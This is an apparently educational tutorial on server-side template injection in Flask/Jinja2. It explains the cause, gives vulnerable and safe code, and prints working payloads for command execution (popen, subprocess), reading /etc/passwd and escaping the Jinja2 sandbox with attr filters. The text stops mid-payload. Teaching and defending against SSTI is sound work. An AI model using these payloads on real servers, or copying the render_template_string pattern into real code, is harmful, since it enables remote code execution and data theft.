Complete Guide to Python SSTI Vulnerabilities

1. What is SSTI?

SSTI (Server Side Template Injection) is a web security vulnerability where an attacker injects malicious code into a template engine, causing the server to execute unintended operations.

Template engines are used in web development to separate user interface from business data, enhancing code reusability and development efficiency. The server uses the template engine to render data and then passes it to the user, generating corresponding pages for specific users or parameters.

2. Basics of Python Flask and Jinja2

Introduction to Flask Framework

Flask is a lightweight web application framework in Python, using Jinja2 as its template engine.

Quick Setup of Flask

Bash

# Install virtual environment
pip install virtualenv
# Create virtual environment
virtualenv venv
# Activate environment
./venv/Scripts/activate.bat
# Install Flask
pip install flask

Basic Example Code

Python

from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World!'

if __name__ == '__main__':
    app.run()

Jinja2 Template Syntax

Jinja2 supports the following syntax for data rendering:

  • **<span>{{}}</span>**: Executes the content within the braces as an expression and returns the result

Python

{{3*4}}  # Will be parsed as 12
  • **<span>{%%}</span>**: Used to declare variables or conditional/loop statements

Python

{% set s = 'Tuzk1' %}  # Declare variable
{% if var is true %}Tuzk1{%endif%}  # Conditional statement
{% for i in range(3) %}Tuzk1{%endfor%}  # Loop statement
  • **<span>{##}</span>**: Comment

3. Causes of SSTI Vulnerabilities

Principle of Vulnerability Generation

The fundamental cause of SSTI vulnerabilities is: the server directly concatenates user-controllable input into the template for rendering, leading to the execution of malicious code.

Code Comparison Analysis

Vulnerable Code

Python

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    t = '''
        &lt;html&gt;
            &lt;h1&gt;Hello %s&lt;/h1&gt;
        &lt;/html&gt;
        ''' % (name)
    # Render the concatenated string as a template
    return render_template_string(t)

app.run()

When passing <span>{{10-1}}</span> as a parameter, the expression will be executed, which is the characteristic of the SSTI vulnerability.

Safe Code

Python

from flask import Flask, request, render_template
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    # Render the template first, then concatenate the string
    return render_template('index.html', name=name)

app.run()

Key Difference:<span>render_template</span> will automatically escape the string, while <span>render_template_string</span> does not automatically escape user-concatenated content.

4. Exploitation Techniques

Exploitation Ideas

Basic RCE (Remote Code Execution) exploitation ideas:

  1. Find a built-in class (e.g., <span>[]</span>, <span>""</span>)
  2. Use that class to access the <span>object</span> class
  3. Access all subclasses through the <span>object</span> class
  4. Find exploitable classes in the subclass list
  5. Call functions under the class or use other modules in that class space

Common Magic Methods

Magic Method Function
<span>__class__</span> Returns the class of the object
<span>__base__</span> Gets the direct parent class of the class
<span>__bases__</span> Gets the tuple of parent classes
<span>__mro__</span> Returns the method resolution order of the class
<span>__subclasses__</span> Returns the list of all subclasses
<span>__globals__</span> Gets the modules, methods, and variables in the function’s namespace
<span>__builtins__</span> Returns Python built-in functions
<span>__import__</span> Used to import modules

Finding Exploitable Classes

Python

# Get the class of the object
''.__class__  # &lt;class 'str'&gt;

# Get the parent class
''.__class__.__base__  # &lt;class 'object'&gt;

# Get all subclasses
''.__class__.__base__.__subclasses__()

Exploitable classes include:

  • <span>linecache</span>
  • <span>os._wrap_close</span>
  • <span>subprocess.Popen</span>
  • <span>warnings.catch_warnings</span>

Common Payload Construction

RCE Execute Command

Python

# Use warnings.catch_warnings with __builtins__ to get eval function
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

# Use os._wrap_close class
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}

# Use subprocess.Popen class
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

File Read and Write

Python

# Python2 use file class to read file
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

# General file reading
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}{% endfor %}

Advanced Payload Construction Techniques

1. Bypassing Sandbox with attr Filter

The latest CVE-2025-27516 reveals an important bypass technique for the Jinja2 sandbox:

Python

# Traditional sandbox intercepts str.format calls
# But can use |attr filter to get a reference to the format method
{{ ''|attr('format')('Hello {}', 'World') }}

# Bypass sandbox to execute command using attr
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(128)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('whoami')|attr('read')() }}

2. Advanced Techniques with format Method

CVE-2024-56326 demonstrates the technique of storing malicious string format method references:

Python

# Store malicious format method reference
{% set evil = '{0.__init__.__globals__[__builtins__][__import__](

Leave a Comment